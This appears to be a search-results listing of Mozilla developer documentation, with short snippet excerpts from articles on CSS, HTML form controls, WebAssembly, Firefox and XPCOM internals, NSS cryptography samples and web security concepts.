... in such a scenario, in order to use a typeface for typical use on a site for body copy you would need at least four files: regular, italic, bold, and bold italic.
...the advantage in choosing the variable font is that you have access to the entire range of weights, widths, and styles available, rather than being constrained to only the few that you previously would have loaded separately.
...And 29 more matches
<input type="month"> - HTML: Hypertext Markup Language
WebHTMLElementinputmonth
the control's ui varies in general from browser to browser; at the moment support is patchy, with only chrome/opera and edge on desktop — and most modern mobile browser versions — having usable implementations.
... for those of you using a browser that doesn't support month, the screenshot below shows what it looks like in chrome and opera.
... events change and input supported common attributes autocomplete, list, readonly, and step.
...And 29 more matches
Using the WebAssembly JavaScript API - WebAssembly
this article teaches you what you’ll need to know.
...grab our simple.wasm file and save a copy in a new directory on your local machine.
... now, to help us understand what is going on here, let’s look at the text representation of our wasm module (which we also meet in converting webassembly format to wasm): (module (func $i (import "imports" "imported_func") (param i32)) (func (export "exported_func") i32.const 42 call $i)) in the second line, you will see that the import has a two-level namespace — the internal function $i is imported from imports.imported_func.
...And 29 more matches
Positioning - Learn web development
or if you want to create a ui element that floats over the top of other parts of the page, and/or always sits in the same place inside the browser window no matter how much the page is scrolled?
... positioning makes such layout work possible.
...go ahead and update the position declaration in your code: position: relative; if you save and refresh at this stage, you won't see a change in the result at all.
...And 28 more matches
Practical positioning examples - Learn web development
check it out to get an idea of what you will be building in this section of the article.
... you might be thinking "why not just create the separate tabs as separate webpages, and just have the tabs clicking through to the separate pages to create the effect?" this code would be simpler, yes, but then each separate "page" view would actually be a newly-loaded webpage, which would make it harder to save information across views, and integrate this feature into a larger ui design.
... note: some web developers take things even further, only having one page of information loaded at once, and dynamically changing the information shown using a javascript feature such as xmlhttprequest.
...And 28 more matches
CSS property compatibility table for form controls - Learn web development
however, they will give you good insight into what can and can't be done, which will help you learn how to do things.
... how to read the tables values for each property, there are four possible values: yes there's reasonably consistent support for the property across browsers.
... rendering for each property there are two possible renderings: n (normal) indicates that the property is applied as it is t (tweaked) indicates that the property is applied with the extra rule below: * { /* turn off the native look and feel */ -webkit-appearance: none; appearance: none; /* for internet explorer */ background: none; } compatibility tables global behaviors some behaviors are commo...
...And 28 more matches
Sending form data - Learn web development
client/server architecture at it's most basic, the web uses a client/server architecture that can be summarized as follows.
... a client (usually a web browser) sends a request to a server (most of the time a web server like apache, nginx, iis, tomcat, etc.), using the http protocol.
... note: to get a better idea of how client-server architectures work, read our server-side website programming first steps module.
...And 28 more matches
Accessibility Features in Firefox
assistive technology support on windows "i am a full firefox convert with the release of 1.5.
...we are optimistic that jaws support will catch up this year.
...mozilla corporation is currently reaching out to work with ai squared, the makers of zoomtext, in order to enable complete support of advanced zoomtext features such as the doc reader and app reader.
...And 28 more matches
Fonts for Mozilla 2.0's MathML engine
you may also want to check out the mozilla mathml torture test to test your installation against concrete examples.
... on most linux distributions and similar open source platforms, you can install math fonts (stix, asana or mathjax fonts) from your package manager or get them from this zip archive.
... overview mathematical formulas make use of various symbols represented by specific unicode characters.
...And 28 more matches
about:memory
if you are using a communication channel where files can be sent, such as bugzilla or email, click on the "measure and save..." button.
... this will open a file dialog that lets you save the memory reports to a file of your choosing.
... (the filename will have a .json.gz suffix.) you can then attach or upload the file appropriately.
...And 28 more matches
TPS Tests
it's name stands for testing and profiling tool for sync (which is a misnomer, since it doesn't do any profiling), and it should not be confused with the similarly named tests in talos.
... tps consists of a firefox extension of the same name, along with a python test runner, both of which live inside mozilla-central.
... the python test runner will read a test file (in javascript format), setup one or more firefox profiles with the necessary extensions and preferences, then launch firefox and pass the test file to the extension.
...And 28 more matches
XPCOM Stream Guide
MozillaTechXPCOMGuideStreams
in mozilla code, a stream is an object which represents access to a sequence of characters.
... it is not that sequence of characters, though: the characters may not all be available when you read from the stream.
...the spout controls how much water you can get out of the tank at a time.
...And 28 more matches
PromiseFlatString (External)
class declaration method overview get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind ...
... findchar rfindchar appendint tointeger base classes nsstringcontainer data members no public members.
... methods get prunichar* get() const - source operator= nsstring_external& operator=(const nsstring_external&) - source parameters nsstring_external& astring nsastring& operator=(const nsastring&) - source parameters nsastring& astring nsastring& operator=(const prunichar*) - source parameters prunichar* aptr nsastring& operator=(prunichar) - source parameters prunichar achar adopt void adopt(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength beginreading pruint32 beginreading(const prunichar**, const prunichar**) co...
...And 28 more matches
nsAutoString (External)
class declaration method overview get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind ...
... findchar rfindchar appendint tointeger base classes nsstringcontainer data members no public members.
... methods get prunichar* get() const - source operator= nsstring_external& operator=(const nsstring_external&) - source parameters nsstring_external& astring nsastring& operator=(const nsastring&) - source parameters nsastring& astring nsastring& operator=(const prunichar*) - source parameters prunichar* aptr nsastring& operator=(prunichar) - source parameters prunichar achar adopt void adopt(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength beginreading pruint32 beginreading(const prunichar**, const prunichar**) co...
...And 28 more matches
nsIDownloadProgressListener
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) to use simply implement this interface in your code, then call nsidownloadmanager.addlistener() to start listening.
... as the states of downloads change, the methods described here are called by the download manager so your code can take whatever steps it needs to.
... method overview void ondownloadstatechange(in short astate, in nsidownload adownload); void onlocationchange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsiuri alocation, in nsidownload adownload); obsolete since gecko 1.9.1 void onprogresschange(in nsiwebprogress awebprogress, in nsirequest arequest, in long long acurselfprogress, in long long amaxselfprogress, in long long acurtotalprogress, in long long amaxtotalprogress, in nsidownload adownload); void onsecuritychange(in nsiwebprogress awebprogress, in nsi...
...And 28 more matches
nsIMsgFolder
check //github.com/realityripple/uxp/blob/master/mailnews/base/public/nsimsgfolder.idl for the newer methods (esp.
... isspecialfolder and such).
... void emptytrash(in nsimsgwindow amsgwindow, in nsiurllistener alistener); void rename(in astring name, in nsimsgwindow msgwindow); void renamesubfolders( in nsimsgwindow msgwindow, in nsimsgfolder oldfolder); astring generateuniquesubfoldername(in astring prefix,in nsimsgfolder otherfolder); void updatesummarytotals(in boolean force); void summarychanged(); long getnumunread(in boolean deep); long gettotalmessages(in boolean deep); void clearnewmessages(); void clearrequirescleanup(); void setflag(in unsigned long flag); void clearflag(in unsigned long flag); boolean getflag(in unsigned long flag); void toggleflag(in unsigned long flag); void onflagchange(in uns...
...And 28 more matches
DevTools API - Firefox Developer Tools
in terms of user interface, each registered tool lives in its own tab (we call one tab a panel).
...a toolbox (and all the tools it contains) is linked to a target, which is the object the tools are debugging.
... a target is usually a web page (a tab), but can be other things (a chrome window, a remote tab,…).
...And 28 more matches
MediaDevices.getUserMedia() - Web APIs
the mediadevices.getusermedia() method prompts the user for permission to use a media input which produces a mediastream with tracks containing the requested types of media.
... that stream can include, for example, a video track (produced by either a hardware or virtual video source such as a camera, video recording device, screen sharing service, and so forth), an audio track (similarly, produced by a physical or virtual audio source like a microphone, a/d converter, or the like), and possibly other track types.
...if the user denies permission, or matching media is not available, then the promise is rejected with notallowederror or notfounderror respectively.
...And 28 more matches
RTCIceCandidatePairStats - Web APIs
the webrtc rtcicecandidatepairstats dictionary reports statistics which provide insight into the quality and performance of an rtcpeerconnection while connected and configured as described by the specified pair of ice candidates.
...this does not take into account the size of the ip overhead, nor any other transport layers such as tcp or udp.
...this does not take into account the size of the ip overhead, nor any other transport layers such as tcp or udp.
...And 28 more matches
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
to center our box we use the align-items property to align our item on the cross axis, which in this case is the block axis running vertically.
... we use justify-content to align the item on the main axis, which in this case the inline axis running horizontally.
...change the size of the container or nested element and the nested element always remains centered.
...And 28 more matches
Overview of events and handlers - Developer guides
this overview of events and event handling explains the code design pattern used to react to incidents occurring when a browser accesses a web page, and it summarizes the types of such incidents modern web browsers can handle.
... events and event handling provide a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing.
... events and event handling become central to web programming with the addition of the language to browsers, accompanying a switch in the rendering architecture of browsers from fetch and load page rendering to event driven, reflow based, page rendering.
...And 28 more matches
The HTML autocomplete attribute - HTML: Hypertext Markup Language
if an <input>, <select> or <textarea> element has no autocomplete attribute, then browsers use the autocomplete attribute of the element's form owner, which is either the <form> element that the element is a descendant of, or the <form> whose id is specified by the form attribute of the element.
...using "name" rather than breaking the name down into its components is generally preferred because it avoids dealing with the wide diversity of human names and how they are structured; however, you can use the following autocomplete values if you do need to break the name down into its components: "honorific-prefix" the prefix or title, such as "mrs.", "mr.", "miss", "ms.", "dr.", or "mlle.".
... "honorific-suffix" the suffix, such as "jr.", "b.sc.", "phd.", "mbasw", or "iv".
...And 28 more matches
<input type="password"> - HTML: Hypertext Markup Language
WebHTMLElementinputpassword
the element is presented as a one-line plain text editor control in which the text is obscured so that it cannot be read, usually by replacing each character with a symbol such as the asterisk ("*") or a dot ("•").
... this character will vary depending on the user agent and os.
... specifics of how the entry process works may vary from browser to browser; mobile devices, for example, often display the typed character for a moment before obscuring it, to allow the user to be sure they pressed the key they meant to press; this is helpful given the small size of keys and the ease with which the wrong one can be pressed, especially on virtual keyboards.
...And 28 more matches
MathML documentation index - MathML
WebMathMLIndex
more details for each attribute are available on particular element pages.
...in addition you must not nest a second <math> element in another, but you can have an arbitrary number of other child elements in it.
... 12 <menclose> mathml, mathml reference, mathml:element, mathml:general layout schemata the mathml <menclose> element renders its content inside an enclosing notation specified by the notation attribute.
...And 28 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
architecture of an app there are two main, different approaches to rendering a website — on the server or on the client.
... they both have their advantages and disadvantages, and you can mix the two approaches to some degree.
... the best results tend to come when you use both client-side and server-side rendering; you can render a web site on the server, cache its contents, and then update the rendering on the client side as needed.
...And 28 more matches
Game monetization - Game development
the technology is mature enough; now it's just about chosing the right approach.
... paid games the first, most obvious choice that may come to your mind might be selling the games the way it is done for huge aaa titles — with a fixed, up front price.
... how much you charge for your game depends on the market, quality of your game and a lot of other small factors.
...And 27 more matches
Building up a basic demo with Three.js - Game development
note: we chose three because it is one of the most popular webgl libraries, and it is easy to get started with.
... we are not trying to say it is better than any other webgl library available, and you should feel free to try another library, such as copperlicht, glge, or playcanvas.
... environment setup to start developing with three.js, you don't need much.
...And 27 more matches
Website security - Learn web development
while all that sounds very ominous, the good news is that if you're using a server-side web framework, it will almost certainly enable "by default" robust and well-thought-out defense mechanisms against a number of the more common attacks.
...when the attacker has the cookie, they can log into a site as though they were the user and do anything the user can, such as access their credit card details, see contact details, or change passwords.
... for example, consider a site search function where the search terms are encoded as url parameters, and these terms are displayed along with the results.
...And 27 more matches
Accessibility/LiveRegionDevGuide
this developer's guide lays out general guidelines that assistive technology (at) developers can use in developing live region support.
...as always, we're open to questions and suggestions for changes in community forums.
...it is responsible for queuing messages derived from live region events, where priority is determined by chronological order and the live politeness properties.
...And 27 more matches
Adding a new CSS property
issues about how to write such a specification (including things such as whether it is appropriate to use prefixes or when properties should be inherited by default) are not covered here.
... if you need more details on any of the points mentioned here, a good place to find them is by looking at other changes in the version control history of the files mentioned.
... this will cause tests of your new property to be added to many of the mochitests in layout/style/test, which can be run with the command "./mach mochitest -f plain layout/style/".
...And 27 more matches
Embedding the editor
note here that i use the term 'composer' to mean an html-savvy compose widget that does rich text editing, and 'editor' to mean a plain text editor (as well as the underlying technology for composer).
... <htmlarea> is intended as a shorthand for a rich-text multiline text widget embedded in an html document, and is not meant to infer that future versions of mozilla will support this specific tag.
...composer embedded in a native application in this application, the <iframe> on which the editor lives is embedded directly in the native application; this is equivalent to embedding the browser via nsiwebbrowser, but instead having an editable document.
...And 27 more matches
Script security
this page provides an overview of the script security architecture in gecko.
...the security model for web content is based on the same-origin policy, in which code gets full access to objects from its origin but highly restricted access to objects from a different origin.
...this javascript code, which is commonly referred to as chrome code, runs with system privileges.
...And 27 more matches
AsyncTestUtils extended framework
the asynctestutils extended framework is one mechanism for testing the mailnews component of thunderbird.
... see mailnews automated testing for a description of the other testing mechanisms.
...two following lines, add them at the top of your test file (before the lines shown above): load("../../mailnews/resources/maildirservice.js"); load("../../mailnews/resources/mailtestutils.js"); at the bottom of the test file, add the following: var tests =[ // list your tests here ]; function run_test() { configure_message_injection({mode: "local"}); async_run_tests(tests); } asynchronous testing basics why do we need it?
...And 27 more matches
Optimizing Applications For NSPR
this has proven to be quite challenging, a challenge that was met to a large degree, but there is always room for improvement.
...the only exception to this rule is the <tt>select()</tt> and <tt>poll()</tt> system calls on unix, both of which nspr has overridden to make sure they are aware of the nspr local threads.
... in the combined (mxn) model, which includes nt, irix (sprocs), and pthreads-user, the primordial thread is always a local thread.
...And 27 more matches
NS ConvertUTF16toUTF8 external
class declaration method overview constructors get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar ...
... rfindchar appendint tointeger base classes nscstring_external data members no public members.
... methods constructors void ns_convertutf16toutf8_external(const nsastring&) - source parameters nsastring& astr void ns_convertutf16toutf8_external(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength get char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const char*) - source parameters char* aptr nsacstring& operator=(char) - source ...
...And 27 more matches
NS LossyConvertUTF16toASCII external
class declaration method overview constructors get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar ...
... rfindchar appendint tointeger base classes nscstring_external data members no public members.
... methods constructors void ns_lossyconvertutf16toascii_external(const nsastring&) - source parameters nsastring& astr void ns_lossyconvertutf16toascii_external(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength get char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const char*) - source parameters char* aptr nsacstring& operator=(char) -...
...And 27 more matches
nsAString (External)
class declaration this header provides wrapper classes around the frozen string api which are roughly equivalent to the internal string classes.
..._convertasciitoutf16_external"> <area alt="" coords="491,294,733,342" href="http://developer.mozilla.org/en/ns_convertutf8toutf16_external" shape="rect" title="ns_convertutf8toutf16_external"> <area alt="" coords="757,294,869,342" href="http://developer.mozilla.org/en/nsliteralstring_(external)" shape="rect" title="nsliteralstring_(external)"> </map> method overview beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequ...
...alsliteral find rfind findchar rfindchar appendint tointeger data members no public members.
...And 27 more matches
nsCString external
class declaration method overview constructors get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar ...
... rfindchar appendint tointeger base classes nscstringcontainer data members no public members.
... methods constructors void nscstring_external() - source void nscstring_external(const nscstring_external&) - source parameters nscstring_external& astring void nscstring_external(const nsacstring&) - source parameters nsacstring& areadable void nscstring_external(const char*, pruint32) - source parameters char* adata pruint32 alength get char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring...
...And 27 more matches
nsDependentCString external
class declaration method overview constructors rebind get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind ...
... findchar rfindchar appendint tointeger base classes nscstring_external data members no public members.
... methods constructors void nsdependentcstring_external() - source void nsdependentcstring_external(const char*, pruint32) - source parameters char* adata pruint32 alength rebind void rebind(const char*, pruint32) - source parameters char* adata pruint32 alength get char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const char*) - source parameters ch...
...And 27 more matches
nsDependentCSubstring external
class declaration method overview constructors rebind beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfi...
...ndchar appendint tointeger base classes nscstringcontainer data members no public members.
... methods constructors void nsdependentcsubstring_external() - source void nsdependentcsubstring_external(const char*, pruint32) - source parameters char* astart pruint32 alength void nsdependentcsubstring_external(const nsacstring&, pruint32) - source parameters nsacstring& astr pruint32 astartpos void nsdependentcsubstring_external(const nsacstring&, pruint32, pruint32) - source parameters nsacstring& astr pruint32 astartpos pruint32 alength rebind void rebind(const char*, pruint32) - source parameters char* astart pruint32 alength beginreading pruint32 beginreading(const...
...And 27 more matches
nsLiteralCString (External)
class declaration method overview rebind get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar ...
... rfindchar appendint tointeger base classes nscstring_external data members no public members.
... methods rebind void rebind(const char*, pruint32) - source parameters char* adata pruint32 alength get char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const char*) - source parameters char* aptr nsacstring& operator=(char) - source parameters char achar adopt void adopt(const char*, pruint32) - source parameters char* adata pruin...
...And 27 more matches
nsLiteralString (External)
class declaration method overview rebind get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar ...
... rfindchar appendint tointeger base classes nscstring_external data members no public members.
... methods rebind void rebind(const char*, pruint32) - source parameters char* adata pruint32 alength get char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const char*) - source parameters char* aptr nsacstring& operator=(char) - source parameters char achar adopt void adopt(const char*, pruint32) - source parameters char* adata pruin...
...And 27 more matches
nsStringContainer (External)
class declaration method overview beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar...
...methods beginreading pruint32 beginreading(const prunichar**, const prunichar**) const - source returns the length, beginning, and end of a string in one operation.
... parameters prunichar** begin prunichar** end prunichar* beginreading() const - source endreading prunichar* endreading() const - source charat prunichar charat(pruint32) const - source parameters pruint32 apos operator[] prunichar operator[](pruint32) const - source parameters pruint32 apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation.
...And 27 more matches
nsIWebBrowserPersist
inherits from: nsicancelable last changed in gecko 36.0 (firefox 36.0 / thunderbird 36.0 / seamonkey 2.33) implemented by: @mozilla.org/embedding/browser/nswebbrowser;1 and @mozilla.org/embedding/browser/nswebbrowserpersist;1.
... to create an instance, use: var webbrowserpersist = components.classes["@mozilla.org/embedding/browser/nswebbrowserpersist;1"] .createinstance(components.interfaces.nsiwebbrowserpersist); method overview void cancelsave(); void savechannel(in nsichannel achannel, in nsisupports afile); void savedocument(in nsidomdocument adocument, in nsisupports afile, in nsisupports adatapath, in string aoutputcontenttype, in unsigned long aencodingflags, in unsigned long awrapcolumn); void saveuri(in nsiuri auri, in nsisupports acachekey, in nsiuri areferrer, in long areferrerpolicy, in nsiinputstream apostdata, in string aextraheaders, in nsisupports afile, in nsiloadcontext aprivacycontext); void saveprivacyawareuri(in nsiuri aur...
...i, in nsisupports acachekey, in nsiuri areferrer, in long areferrerpolicy, in nsiinputstream apostdata, in string aextraheaders, in nsisupports afile, in boolean aisprivate); attributes attribute type description currentstate unsigned long current state of the persister object.
...And 27 more matches
nsIWindowMediator
inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) the two most common uses of nsiwindowmediator are, enumerating all windows of a given type and getting the most recent / any window of a given type.
... methods addlistener() register a listener for window status changes.
...important: this will attach the functionality to future opened windows, so if you copy paste this code to scratchpad, then after running this script, you need to open a new window by pressing ctrl + n and then in the new window, selecting tabs will fire the alert.
...And 27 more matches
The HTML DOM API - Web APIs
the html dom api is made up of the interfaces that define the functionality of each of the elements in html, as well as any supporting types and interfaces they rely upon.
... access to the browser navigation history supporting and connective interfaces for other apis such as web components, web storage, web workers, websocket, and server-sent events.
...discussion of other areas, such as drag and drop, websockets, web storage, etc.
...And 27 more matches
Typical use cases of Flexbox - CSS: Cascading Style Sheets
why choose flexbox?
... in a perfect world of browser support, the reason you'd choose to use flexbox is because you want to lay a collection of items out in one direction or another.
...this is something that may well change once box alignment is implemented in block layout.
...And 27 more matches
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
in these guides, i have already touched on an important feature of grid layout: the support for different writing modes that is built into the specification.
...i have added dir="rtl" to the html element, which switches the writing mode from the default for an english language document of ltr.
...the second however, switches direction and the text runs from right to left .
...And 27 more matches
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
the -moz-appearance and -webkit-appearance properties are non-standard versions of this propery, used (respectively) by gecko (firefox) and by webkit-based (e.g., safari) and blink-based (e.g., chrome, opera) browsers to achieve the same thing.
...starting with gecko/firefox 80, these uses were changed to -moz-default-appearance, which should never be used outside of internal stylesheets.
... syntax /* css basic user interface module level 4 values */ appearance: none; appearance: auto; appearance: menulist-button; appearance: textfield; /* "compat-auto" values, which have the same effect as 'auto' */ appearance: button; appearance: searchfield; appearance: textarea; appearance: push-button; appearance: slider-horizontal; appearance: checkbox; appearance: radio; appearance: square-button; appearance: menulist; appearance: listbox; appearance: meter; appearance: progress-bar; /* partial list of available values in gecko */ -moz-appearance: scrollbarbutton-up; ...
...And 27 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
WebHTMLElementvideo
the html video element (<video>) embeds a media player which supports video playback into the document.
...in a similar manner to the <img> element, we include a path to the media we want to display inside the src attribute; we can include other attributes to specify information such as video width and height, whether we want it to autoplay and loop, whether we want to show the browser's default video controls, etc.
...chrome 70.0) autoplay doesn't work if no muted attribute is present.
...And 27 more matches
Expressions and operators - JavaScript
« previousnext » this chapter describes javascript's expressions and operators, including assignment, comparison, arithmetic, bitwise, logical, string, ternary and more.
...the simple assignment operator is equal (=), which assigns the value of its right operand to its left operand.
...(x = y) return value and chaining like most expressions, assignments like x = y have a return value.
...And 27 more matches
How CSS is structured - Learn web development
you reference an external css stylesheet from an html <link> element: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <link rel="stylesheet" href="styles.css"> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> the css stylesheet file might look like this: h1 { color: blue; background-color: yellow; border: 1px solid black; } p { color: red; } the href attribute of the <link> element needs to re...
...here are three examples: <!-- inside a subdirectory called styles inside the current directory --> <link rel="stylesheet" href="styles/style.css"> <!-- inside a subdirectory called general, which is in a subdirectory called styles, inside the current directory --> <link rel="stylesheet" href="styles/general/style.css"> <!-- go up one directory level, then inside a subdirectory called styles --> <link rel="stylesheet" href="../styles/style.css"> internal stylesheet an internal stylesheet resides within an html document.
... the html for an internal stylesheet might look like this: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <style> h1 { color: blue; background-color: yellow; border: 1px solid black; } p { color: red; } </style> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> in some circumstances, internal stylesheets can be useful.
...And 26 more matches
Styling web forms - Learn web development
objective: to understand the issues behind styling forms, and learn some of the basic styling techniques that will be useful to you.
... why is styling form widgets challenging?
...but this has changed.
...And 26 more matches
CSUN Firefox Materials
it's a quick download, occupies very little disk space, and has a clean, no-nonsense interface." - pc magazine firefox 1.5 is a fast, free, standards compliant web browser which is rapidly gaining recognition for its fresh, streamlined approach to browsing the web.
... in addition to winning major awards such as pc world product of the year, firefox has attracted a huge following among savvy users who simply care enough about their web browsing experience to download a new piece of software.
... websites such as online magazines with sophisticated audiences are now reporting upwards of 25% firefox usage.
...And 26 more matches
Examples
.path.join(os.constants.path.tmpdir, "file.txt"); let promise = os.file.exists(path); let newpromise = promise.then(function onfulfill(aexists) { if (aexists) { console.log("you have file.txt in your temporary directory."); } else { throw new error("you don't have file.txt in your temporary directory."); } }); // unexpected errors should always be reported at the end of a promise chain.
... let lastpromise = newpromise.then(function onfulfill(){ }) .catch(function onreject(arejectreason) { console.warn('newpromise failed with reason: ', arejectreason); }); using a promise returned by a function (verbose) this example uses a verbose syntax, showing all the involved promises.
...= os.path.join(os.constants.path.tmpdir, "file.txt"); let promise = os.file.exists(path); let newpromise = promise.then(function onfulfill(aexists) { if (aexists) { console.log("you have file.txt in your temporary directory."); } else { console.log("you don't have file.txt in your temporary directory."); } }); // unexpected errors should always be reported at the end of a promise chain.
...And 26 more matches
WebRequest.jsm
you can use webrequest.jsm in either the chrome or content processes.
... the webrequest api is modeled on chrome's webrequest extension api, which makes it easier to write cross-browser add-on code.
... there are some differences between this api and chrome's, though: see chrome incompatibilities for the details.
...And 26 more matches
Bootstrapping a new locale
when a localization team is registered and your hg repository is set up for a locale, you can then clone the existing mozilla release branch (i.e.
... hg allows localizers to work locally on their machines and then "push" changes to their official mozilla repository.
... installing mercurial depending on your operating system, you will need to install the correct version of hg on your machine.
...And 26 more matches
Localization and Plurals
usage here are a couple terms used in this page to help keep things clear: plural rule: for a given language, there is a grammatical rule on how to change words, depending on the number qualifying the word.
... plural form: for a particular plural rule, there can be multiple forms of a word, such as "page" and "pages".
... if you're here for pluralrule in the chrome/global/intl.properties file, you'll need to figure out what plural rule to choose for your localization.
...And 26 more matches
Encrypt Decrypt_MAC_Using Token
*/ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr, "%-20s specify db directory path\n\n", "-d "); fprintf(std...
... */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return nu...
...*/ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * final...
...And 26 more matches
sslintro.html
if you are inclined to help with this migration, your help would be very much appreciated.
... upgraded documentation may be found in the current nss reference overview of an ssl application chapter 1 overview of an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted communications.
... this chapter introduces some of the basic ssl functions.
...And 26 more matches
NSS Tools ssltap
using the ssl debugging tool (ssltap) newsgroup: mozilla.dev.tech.crypto the ssl debugging tool is an ssl-aware command-line proxy.
... it watches tcp connections and displays the data going by.
...the tool also displays the data to the shell window from which it was called.
...And 26 more matches
Tracing JIT
the tracing jit in spidermonkey consists of a generic, low level component called nanojit which is co-maintained between adobe and mozilla, and a spidermonkey-specific high level component called jstracer.
...the monitor watches the executing spidermonkey interpreter.
... a schematic diagram of the components of the tracing jit follows: generic low level component: nanojit/* the files in the nanojit directory define the nanojit component.
...And 26 more matches
JS::CompileOptions
constructor js::readonlycompileoptions(); // added in spidermonkey 31 js::owningcompileoptions(jscontext *cx); // added in spidermonkey 31 js::compileoptions(jscontext *cx, jsversion version = jsversion_unknown); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... methods some methods of js::owningcompileoptions and js::compileoptions return the instance itself to allow method chain.
